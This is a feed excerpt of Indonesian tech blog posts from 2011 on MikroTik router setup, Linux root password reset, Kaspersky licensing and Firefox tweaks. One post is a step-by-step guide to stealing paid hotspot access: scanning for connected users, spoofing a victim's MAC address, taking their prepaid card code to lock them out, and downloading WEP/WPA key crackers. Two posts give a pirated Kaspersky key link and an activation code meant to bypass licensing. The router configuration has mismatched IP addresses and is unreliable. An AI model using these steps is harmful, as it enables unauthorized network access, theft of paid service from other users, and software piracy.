/&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8788392815056829959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8788392815056829959'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/setting-router-dengan-debian-lenny.html' title='Setting Router dengan Debian Lenny'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-6881186470249194913</id><published>2011-01-23T16:40:00.000-08:00</published><updated>2011-01-23T16:42:16.066-08:00</updated><title type='text'>Router, DHCP dan Hotspot dengan Mikrotik</title><content type='html'>Mikrotik adalah sebuah varian linux yang memiliki kemampuan khusus dalam hal jaringan. Selain kapasitas disk yang dibutuhkan kecil, namun unjuk kerja yang diberikan sangat baik. Fasilitas yang disediakan oleh mikrotik cukup banyak, antara lain seting router, dns, dhcp, hot spot, bandwith limiter, dan lainnya. Untuk latihan kali ini, kita akan membuat sebuah router dengan minimalis konfigurasi. Berikut langkah – langkahnya :&lt;br /&gt;     1. Pastikan mikrotik system telah terinstall dengan baik. Perlu diingat, bahwa mikrotik tidak mengenal pembagian partisi karena semua kapasitas dalam disk akan digunakan seluruhnya oleh system. Jadi jika memiliki data dalam harddisk harus dibackup dulu.&lt;br /&gt;     2. Setelah berhasil, kita akan login ke dalam system. Gunakan user name login dan dengan passwordnya kosong.&lt;br /&gt;     3. Masuk prompt mikrotik akan muncul seperti di bawah ini:&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt; Ganti nama system sesuai kebutuhan anda sebagai admin jaringan :&lt;br /&gt;[admin@mikrotik]&gt;system identity set name=routertkj&lt;br /&gt;Selanjutnya prompt shelll akan berubah menjadi seperti&lt;br /&gt;[admin@routertkj]&gt;&lt;br /&gt; Untuk mengubah password user admin, ketik :&lt;br /&gt;[admin@routertkj]&gt; user set admin password=123&lt;br /&gt;Jadi, nanti ketika kita login maka kita harus memasukan password 123&lt;br /&gt; Periksalah jenis dan jumlah lancard yang terinstall dalam PC dengan mengetik :&lt;br /&gt;[admin@routertkj]&gt;interface ethernet print&lt;br /&gt; Aktifkan ethernet yang terinstall dalam komputer, ketik :&lt;br /&gt;[admin@routertkj]&gt;interface ethernet enable ether1&lt;br /&gt;[admin@routertkj]&gt;interface ethernet enable ether2&lt;br /&gt; Berikan nama untuk masing-masing lan card yang telah kita aktifkan, ketik :&lt;br /&gt;[admin@routertkj]&gt;interface ethernet set ether1 name=isp&lt;br /&gt;(untuk ethernet yang ke hubungan ISP)&lt;br /&gt;[admin@routertkj]&gt;interface ethernet set ether1 name=lan&lt;br /&gt;(untuk ethernet yang ke hubungan jaringan local area network)&lt;br /&gt; Katakanlah kita mendapatkan IP Address dari ISP sebagai berikut&lt;br /&gt;IP Address  : 192.168.0.237&lt;br /&gt;Netmask  : 255.255.255.0&lt;br /&gt;Gateway  : 192.168.0.249&lt;br /&gt;DNS Server  : 202.134.1.10&lt;br /&gt;DNS Server  : 202.134.0.155&lt;br /&gt;Dan untuk yang lan card yang terhubung dengan LAN adalah sebagai berikut :&lt;br /&gt;IP Address  : 192.168.11.42&lt;br /&gt;Netmask  : 255.255.255.0&lt;br /&gt; Maka mulailah untuk menseting IP address kedua lancard sebagai berikut :&lt;br /&gt;[admin@routertkj]&gt;ip address add interface=isp address=192.168.0.237/255.255.255.0&lt;br /&gt;(koneksi ke ISP)&lt;br /&gt;[admin@routertkj]&gt;ip address add interface=lan address=192.168.11.42/255.255.255.0&lt;br /&gt;(koneksi ke LAN)&lt;br /&gt; Masukan ip gateway yang diberikan dari ISP :&lt;br /&gt;[admin@routertkj]&gt;ip route add gateway=192.168.0.249&lt;br /&gt; Mulailah untuk menseting ip DNS :&lt;br /&gt;[admin@routertkj]&gt;ip dns set primary-dns=192.168.13.42 secondary-dns=172.16.0.126 allow-remote-request=yes&lt;br /&gt; Setelah itu lanjutkan dengan membuat aturan firewall agar client bisa berbagi koneksi internet, ketik :&lt;br /&gt;[admin@routertkj]&gt;ip firewall nat add chain=srcnat src-address=192.166.17.0/26 out-interface=isp action=src-nat to-address=192.168.13.62&lt;br /&gt;Selesai sudah konfigurasi minimalis router dengan mikrotik. Kemudian seting IP Address untuk komputer klientnya.&lt;br /&gt;IP Address  : 192.166.17.1&lt;br /&gt;Netmask  : 255.255.255.192&lt;br /&gt;Gateway  : 192.166.17.62&lt;br /&gt;DNS Server  : 192.168.13.42&lt;br /&gt;DNS Server  : 172.16.0.126&lt;br /&gt;Langkah terakhir adalah melakukan test koneksi dari komputer klient menggunakan command prompt.&lt;br /&gt;1. ping 192.166.17.62&lt;br /&gt;2. ping 192.168.13.62&lt;br /&gt;3. ping 172.16.0.126&lt;br /&gt;4. ping google.com&lt;br /&gt;Semua harus berhasil dengan baik, jika tidak ulangi konfigurasi mikrotik dengan mengetik system reset. &lt;br /&gt;&lt;br /&gt;Seting DHCP Server&lt;br /&gt;[admin@MikroTik] &gt; ip dhcp-server setup &lt;br /&gt;dhcp server interface: lan&lt;br /&gt;dhcp address space: 192.168.11.0/26&lt;br /&gt;gateway for dhcp network: 192.168.11.42&lt;br /&gt;addresses to give out: 192.168.11.1-192.168.11.41,192.168.11.43-192.168.11.62&lt;br /&gt;dns servers: 172.16.0.126,202.134.1.10&lt;br /&gt;lease time: 3d&lt;br /&gt;&lt;br /&gt;kemudian seting ip address client ke DHCP&lt;br /&gt;lakukan pengujian seperti sebelumnya&lt;br /&gt;&lt;br /&gt;Seting HOTSPOT server&lt;br /&gt;[admin@MikroTik] &gt; ip hotspot setup &lt;br /&gt;hotspot interface: lan&lt;br /&gt;local address of network: 192.168.11.42/26&lt;br /&gt;masquerade network: yes&lt;br /&gt;address pool of network: 192.168.11.1-192.168.11.41,192.168.11.43-192.168.11.62&lt;br /&gt;select certificate: import-other-certificate&lt;br /&gt;passphrase: &lt;br /&gt;select certificate: none&lt;br /&gt;ip address of smtp server: 0.0.0.0&lt;br /&gt;dns servers: 172.16.0.126,202.134.1.10&lt;br /&gt;dns name: hotspot.net&lt;br /&gt;name of local hotspot user: admin&lt;br /&gt;password for the user: admin&lt;br /&gt;&lt;br /&gt;untuk menambah user ketikan script berikut ini :&lt;br /&gt;[admin@MikroTik] &gt; ip hotspot user add name=joko password=joko&lt;br /&gt;&lt;br /&gt;Mengganti halaman login hotspot&lt;br /&gt;Buka explorer, kemudian ketikan ftp://alamat mikrotik routernya&lt;br /&gt;Contoh : ftp://192.168.11.42&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Konfigurasi Transparent Proxy&lt;br /&gt;[admin@MikroTik] ip web-proxy&gt; set enabled=yes&lt;br /&gt;[admin@MikroTik] ip web-proxy&gt; set transparent-proxy=yes &lt;br /&gt;[admin@MikroTik] ip web-proxy&gt; print &lt;br /&gt;                 enabled: yes&lt;br /&gt;             src-address: 0.0.0.0&lt;br /&gt;                    port: 3128&lt;br /&gt;                hostname: "proxy"&lt;br /&gt;       transparent-proxy: yes&lt;br /&gt;            parent-proxy: 0.0.0.0:0&lt;br /&gt;     cache-administrator: "webmaster"&lt;br /&gt;         max-object-size: 4096KiB&lt;br /&gt;             cache-drive: system&lt;br /&gt;          max-cache-size: none&lt;br /&gt;      max-ram-cache-size: unlimited&lt;br /&gt;                  status: running&lt;br /&gt;      reserved-for-cache: 0KiB&lt;br /&gt;  reserved-for-ram-cache: 219136KiB&lt;br /&gt;--konfigurasi firewall&lt;br /&gt;[admin@MikroTik] &gt; ip firewall nat add chain=dstnat protocol=tcp dst-port=80 act&lt;br /&gt;ion=redirect to-ports=3128&lt;br /&gt;&lt;br /&gt;---monitor&lt;br /&gt;[admin@MikroTik] &gt; ip web-proxy monitor interval=1&lt;br /&gt;                 status: running&lt;br /&gt;                 uptime: 3m14s&lt;br /&gt;                clients: 0&lt;br /&gt;               requests: 0&lt;br /&gt;                   hits: 0&lt;br /&gt;             cache-size: 0KiB&lt;br /&gt;       ram-storage-size: 100KiB&lt;br /&gt;  received-from-servers: 0KiB&lt;br /&gt;        sent-to-clients: 0KiB&lt;br /&gt;   hits-sent-to-clients: 0KiB&lt;br /&gt;&lt;br /&gt;[admin@MikroTik] &gt; ip web-proxy access add url=yahoo.com method=any action=deny&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-6881186470249194913?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6881186470249194913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6881186470249194913'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/router-dhcp-dan-hotspot-dengan-mikrotik.html' title='Router, DHCP dan Hotspot dengan Mikrotik'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-1607061008185502317</id><published>2011-01-23T16:39:00.000-08:00</published><updated>2011-01-23T16:40:11.214-08:00</updated><title type='text'>Lupa Password root pada Linux</title><content type='html'>1. Pada prompt grub-boot&lt;br /&gt;Tekan tombol “e” untuk masuk ke mode edit&lt;br /&gt;2. Kemudian tekan tombol panah bawah untuk memilih baris yang dimulai dengan “kernel” (jangan di “enter” dulu)&lt;br /&gt;Tekan “e” lagi&lt;br /&gt;3. Pada bagian terakhir baris tersebut tambahkan “init=/bin/sh” atau “/bin/bash”&lt;br /&gt;4. Lalu tekan “enter” untuk merubahnya dan kemudian tekan “b” untuk boot.&lt;br /&gt;Dalam beberapa saat akan muncul prompt “#”&lt;br /&gt;5. Ketik “mount -o remount rw /”&lt;br /&gt;Dalam beberapa kasus, file system root di mount read only&lt;br /&gt;6. Langkah terakhir, ketik “passwd” dan akan muncul prompt change password.&lt;br /&gt;Setelah ganti password ketik “init 6? atau “reboot”&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-1607061008185502317?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1607061008185502317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1607061008185502317'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/lupa-password-root-pada-linux.html' title='Lupa Password root pada Linux'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5033534815202644640</id><published>2011-01-23T16:19:00.000-08:00</published><updated>2011-01-23T16:30:43.635-08:00</updated><title type='text'>License key Kaspersky 7.0 Tahun 2011</title><content type='html'>Bagi temen-temen yang ingin mengupdate License key untuk Kaspersky 7.0.1 untuk tahun 2011 bisa mengambil pada link di bawah ini :&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/12796247/KAV7_2011-04-29.zip.html"&gt;http://www.ziddu.com/download/12796247/KAV7_2011-04-29.zip.html&lt;/a&gt;\&lt;br /&gt;license ini expired sampai April 2011&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5033534815202644640?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5033534815202644640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5033534815202644640'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/license-key-kaspersky-70-tahun-2011.html' title='License key Kaspersky 7.0 Tahun 2011'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-9090175322237509284</id><published>2011-01-23T16:14:00.000-08:00</published><updated>2011-01-23T16:18:59.084-08:00</updated><title type='text'>Mengupdate Key Kapersky 2011</title><content type='html'>Like the previous version of kaspersky internet security 2010, the new version too wont allow you to activate the license using a key file. But if you have got a genuine key for kaspersky 2011 you can easily activate it with the steps in our previous guide. Here’s how you can activate kaspersky using a key file.&lt;br /&gt;&lt;br /&gt;If you have got a genuine serial key for kaspersky 2011, then this guide will help you convert kaspersky 2011 serial to key file. With the key file in your computer lets start.&lt;br /&gt;&lt;br /&gt;   1. Click on the Kaspersky license manager from the main window (seen at lower right).&lt;br /&gt;   2. The License management window will now popup with two options for you. Click on the “Activate the application with a new license” option.&lt;br /&gt;   3. Disconnect your internet connection and enter this code. T1JVS-NNMBD-K1QTN-SUBP8.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;  4.  Followed by that an error window will be displayed with a message “Activation    error:Cannot setup server connection”. Now Click on “OK”.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_uk6ho0aKuDg/TTzE9S8pfuI/AAAAAAAAAPY/0Y6tET4GziQ/s1600/license-activation-server.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 314px;" src="http://1.bp.blogspot.com/_uk6ho0aKuDg/TTzE9S8pfuI/AAAAAAAAAPY/0Y6tET4GziQ/s400/license-activation-server.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5565539796860370658" /&gt;&lt;/a&gt;&lt;br /&gt;  5.  You will now be shown with the window to activate kaspersky 2011 with license key.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_uk6ho0aKuDg/TTzFN2VrlYI/AAAAAAAAAPg/UOLI9SWpRm8/s1600/kaspersky-2011-activating-with-key.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 310px;" src="http://1.bp.blogspot.com/_uk6ho0aKuDg/TTzFN2VrlYI/AAAAAAAAAPg/UOLI9SWpRm8/s400/kaspersky-2011-activating-with-key.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5565540081238513026" /&gt;&lt;/a&gt;&lt;br /&gt;source = http://www.computingunleashed.com/activate-kaspersky-2011-license-key.html&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-9090175322237509284?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/9090175322237509284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/9090175322237509284'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/mengupdate-key-kapersky-2011.html' title='Mengupdate Key Kapersky 2011'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_uk6ho0aKuDg/TTzE9S8pfuI/AAAAAAAAAPY/0Y6tET4GziQ/s72-c/license-activation-server.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-6233095445944286877</id><published>2011-01-19T19:12:00.000-08:00</published><updated>2011-01-23T16:38:08.353-08:00</updated><title type='text'>Mempercepat Internet pada Mozilla</title><content type='html'>Anda keranjingan dengan yang disebut dengan dunia internet? Mungkin anda tidak bisa dipisahkan dengan yang namanya internet, tetapi berselancar didunia maya akan terasa menjemukan bila koneksi yang kita pakai sangat lambat. Hal ini biasa dialami oleh temen2 yang menggunakan warnet untuk mengakses internet, karena makin banyak pengguna warnet maka bandwidth akan terbagi ke banyak orang juga.&lt;br /&gt;&lt;br /&gt;Tetapi jangan khawatir, berikut ada tips untuk mempercepat akses internet anda dengan menggunakan Web browser Mozilla Firefox. Tips beikut sangat mudah dan simpel, gak usah berlama-lama, mari segera saja kita praktekkan tips untuk mempercepat akses internet beikut :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;1). Buka Browser Mozilla Firefox&lt;br /&gt;&lt;br /&gt;2). Pada Address Bar Ketik : about:CONFIG&lt;br /&gt;&lt;br /&gt;3). Cari string di bawah ini : ( pastikan semua srting dibawah“TRUE”)&lt;br /&gt;&lt;br /&gt;NETWORK.HTTP.PIPELINING TRUE&lt;br /&gt;&lt;br /&gt;NETWORK.HTTP.PROXY.PIPELINING TRUE&lt;br /&gt;&lt;br /&gt;NETWORK.HTTP.PIPELINING.MAXREQUESTS 64&lt;br /&gt;&lt;br /&gt;NETWORK.PROXY.SHARE_PROXY_SETTINGS FALSE &lt;=== ini harus False&lt;br /&gt;&lt;br /&gt;4). buat srting baru caranya : Klik Kiri 1X Dimana Saja, Klik Kanan [/b]NEW&gt;&gt;INTEGER[/b]&lt;br /&gt;&lt;br /&gt;5). Ketik : NGLAYOUT.INITIALPAINT.DELAY Beri Nilai 0&lt;br /&gt;&lt;br /&gt;6). Kemudian REFRESH atau Tekan F5&lt;br /&gt;&lt;br /&gt;7). Pada Address Bar Ketik : about:BLANK&lt;br /&gt;&lt;br /&gt;8).  ALLOW WEB SITES TO INSTALL SOFTWARE Beri Tanda Check Box Untuk mengaktifkan cari saja di    tool&gt;option&lt;br /&gt;&lt;br /&gt;9).Kemudian Tekan OK Lalu REFRESH ( F5 )&lt;br /&gt;&lt;br /&gt;10).Download Software &lt;a href="http://softwaredownloadmirror.com/freeware/switchproxy-tool-1.4.1/215658/switchproxy_tool-1.4.1-fx+mz+tb.xpi"&gt;SwitchProxy Tool Versi 1.3.4&lt;/a&gt; Code:&lt;br /&gt;&lt;br /&gt;https://addons.mozilla.org/extensions/moreinfo.php?applicationfiltered=firefox&amp;id=125&lt;br /&gt;&lt;br /&gt;lansung saja anda install kalau sudah Selesai Jangan Tekan Tombol UPDATE&lt;br /&gt;&lt;br /&gt;11) restart mozilla anda dan kalau Instalasi Sukses, Akan Muncul Toolbar tambahan Di Bawah Toolbar Navigasi &amp; Address Bar. dan silahkan anda mulai browsing dengan mozilla&lt;br /&gt;&lt;br /&gt;Catatan :Software SwitchProxy Tool Versi 1.3.4.&lt;br /&gt;Ini selain untuk Mengganti Proxy Secara Otomatis Di Browser Mozilla FireFox Engine-nya Juga Berpengaruh terhadap Kecepatan Koneksi Internet. Cara Ini Sangat Efektif Bila Digunakan Di Warnet Yang Padat Pengunjung untuk MenyedotBandwidth ( Mayoritas kecepatan akses Internet )  ke Komputer Yang Sedang Anda Pakai – Perubahan Yang Signifikan Terjadi Pada koneksi Internet Dengan BROADBAND / VSAT Laughing&lt;br /&gt;&lt;br /&gt;Selamat mencoba dan semoga berhasil.&lt;br /&gt;source=http://www.zigunawan.com/tips-menambah-kecepatan-internet-dengan-mozilla-firefox.html&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-6233095445944286877?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6233095445944286877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6233095445944286877'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/menambah-kecepatan-internet-dengan.html' title='Mempercepat Internet pada Mozilla'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5941934340364760178</id><published>2011-01-16T16:42:00.000-08:00</published><updated>2011-01-16T17:15:11.632-08:00</updated><title type='text'>SOFTWARE Penjebol password Hot Spot</title><content type='html'>Trik ini juga dipakai untuk mencari password yang digunakan oleh seseorang untuk mengakses hotspot yang menggunakan kartu prepaid.&lt;br /&gt;&lt;br /&gt;Alat yang dipersiapkan sih simple aja :&lt;br /&gt;- Seperangkat Laptop : PC yang ada wifi adapternya juga bisa, asal jaringan hotspotnya bisa tertangkap.&lt;br /&gt;- Charger laptop : karena pasti memakan banyak daya batre saat keranjingan internet gratis. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Software yang diperlukan:&lt;br /&gt;1. &lt;a href="http://www.ziddu.com/download/4977222/ipscan.rar.html"&gt;IPScan.exe&lt;/a&gt;&lt;br /&gt;2. &lt;a href="http://www.ziddu.com/download/4977404/TMACv5_R3_Setup.zip.html"&gt;TMACv5_Setup.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Langsung aja sekarang ke caranya:&lt;br /&gt;&lt;br /&gt;   1. Cari lokasi penyedia layanan hotspot, tentunya di daerah yang terjangkau jaringan hotspot tersebut.&lt;br /&gt;   2. Hidupkan laptop anda, dan hidupkan pula wireless network anda dan lihat di sistem tray icon wireless network, kemudian klik kanan dan pilih view avalible wireless network, dan tentunya setelah itu anda harus connect ke wireless hotspot tujuan anda.&lt;br /&gt;   3. Setelah connect, klik kanan sistem tray dan pilih status &gt;pilih tab detail &gt; kelihatan disana ip yang diberikan kepada kita. Catat ip tersebut.&lt;br /&gt;      Buka Program AngryIP Scanner dan isikan ip range yang akan kita scan (pakai data ip kita tadi) pada bagian atas. Misalnya : IP yang kita dapat xxx.xxx.x.xx kemudian masukkan pada kolom range pertama ip kita sesuai dengan ip yang tadi namun ganti angka di bagian akhir dengan 1 menjadi xxx.xxx.x.1 dan pada kolom kedua tuliskan sama namun angka satu diakhir itu ganti dengan 255 menjadi xxx.xxx.x.255. hasilnya xxx.xxx.x.1 to xxx.xxx.x.255 dan klik start (tombol merah).&lt;br /&gt;   4. Setelah melakukan scanning maka kita akan mendapatkan data ip yang hidup yang terkoneksi dengan hotspot tersebut. setelah scanning selesai maka lihat ip yang hidup (alive host) warna biru klik kanan pada ip yang hidup Klik kanan pada ip yang warna biru tadi klik kanan &gt; show &gt; mac address dan akan ada kode mac addres (terkadang ada mac addressnya tidak tampil, pilih saja ip yang lainnya). Catat mac address yang kita dapatkan.&lt;br /&gt;   5. Buka Program Mac Address Changer yang telah kita persiapkan. Disana ada field mac address. nah sekarang tinggal ganti mac address tersebut dengan yang kita dapatkan tadi dan tekan change mac id.&lt;br /&gt;   6. Tunggu karena mac kita akan diganti dan koneksi sementara terputus dan konek lagi otomatis sendiri.&lt;br /&gt;   7. Masuk web browser firefox atau apa saja boleh. Nikmati Internet Gratis…&lt;br /&gt;&lt;br /&gt;Satu hal yang perlu diingat adalah kita sistemnya numpang data transfer pada account yang kita hack tadi (yang punya ip tadi, maaf…).&lt;br /&gt;Ini bisa di akali dengan masuk halaman status login hotspot tersebut (untuk dapat account). Misalnya idonbiu.hotspot.net/status dan begitu masuk disana kan terlihat nomor sandi prepaid card dan kita catat saja, lalu logout, dan masuk kembali ke halaman login hotspot itu cepat-cepat masukkan sandi tadi. Hal ini akan membuat kita secara langsung dapat mengakses internet tanpa menumpang lagi (soalnya yang make prepaid card code kan kita) jadi kalau ada yang mau login pakai kartu itu (yang punya code) saat kita login pakai kartu itu tentunya dia tidak akan bisa masuk karena kartu prepaid cardnya “already login”.&lt;br /&gt;Bagaimana, menarik bukan ?&lt;br /&gt;&lt;br /&gt;Tapi saya sarankan, seperti yang saya lakukan adalah dengan menumpang saja, karena saya tidak mau berbuat terlalu jauh, seperti cara yang saya beritau untuk me log off dan log in lagi tentunya akan membuat sang pemilik tidak bisa log in. Kasian kan ?&lt;br /&gt;Jadi mumpung sudah dikasi gratisan, kenapa gak numpang saja ya, itung-itung cuman ikutan ngakses bareng kan tidak terlalu merugikan. Minta ijin langsung juga kemungkinan yang punya gak nolak, asal kepentingannya memang mendesak.&lt;br /&gt;&lt;br /&gt;Untuk Scanning Ip juga bisa memakai aplikasi &lt;a href="http://www.ziddu.com/download/4977731/dude-install-3.2.rar.html"&gt;Dude 3.2.zip&lt;/a&gt; untuk mengetahui kondisi koneksi komputer-komputer ke hotspot. Bisa dicoba juga ya.&lt;br /&gt;niy dapet yang terbaru klo di hotspot pada pake wep or wpa pake ini aja&lt;br /&gt;barusan dicobain tembus euy.....&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/4977224/wkeygen.zip.html"&gt;wkeygen.zip&lt;/a&gt; atau &lt;a href="http://www.ziddu.com/download/4977223/WKG.rar.html"&gt;WKG.EXE&lt;/a&gt;&lt;br /&gt;tinggal jalanin programnya trus generate,, kopi aja langsung ke network key-nya...&lt;br /&gt;&lt;br /&gt;Sekali lagi, semua ini hanya untuk pembelajaran saja, selama kita masih mampu kenapa gak pakai yang legal aja. Dan ini juga bisa dimanfaatkan oleh pemilik hotspot, kalau cara ini masih bisa digunakan untuk membobol. Jadi perlu keamanan yang lebih.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;info dari : dee-nesia.blogspot&lt;br /&gt;source from : http://dave4share.blogspot.com/2009/10/software-penjebol-password-hot-spot.html&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5941934340364760178?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5941934340364760178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5941934340364760178'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/software-penjebol-password-hot-spot.html' title='SOFTWARE Penjebol password Hot Spot'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-6724295856354664263</id><published>2011-01-16T16:41:00.000-08:00</published><updated>2011-01-16T16:42:08.898-08:00</updated><title type='text'>Tujuan Membangun Jaringan</title><content type='html'>Tujuan dibangunnya suatu jaringan komputer adalah membawa informasi secara tepat dan tanpa adanya kesalahan dari sisi pengirim (transmitter) menuju penerima (receiver) melalui media komunikasi.&lt;br /&gt;Dalam membangun jaringan komputer memang tidak semudah &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;tujuannya. Ada beberapa kendala dalam membangun jaringan komputer, yaitu:&lt;br /&gt;1.Masih mahalnya fasilitas komunikasi yang tersedia dan bagaimana memanfaatkan jaringan komunikasi yang ada secara efektif dan efisien.&lt;br /&gt;2.Jalur transmisi yang digunakan tidak benar-benar bebas dari noise.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-6724295856354664263?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6724295856354664263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6724295856354664263'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/tujuan-membangun-jaringan.html' title='Tujuan Membangun Jaringan'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-3889984005609484568</id><published>2011-01-16T16:36:00.000-08:00</published><updated>2011-01-16T16:38:27.312-08:00</updated><title type='text'>Prinsip Dasar Jaringan Komputer</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 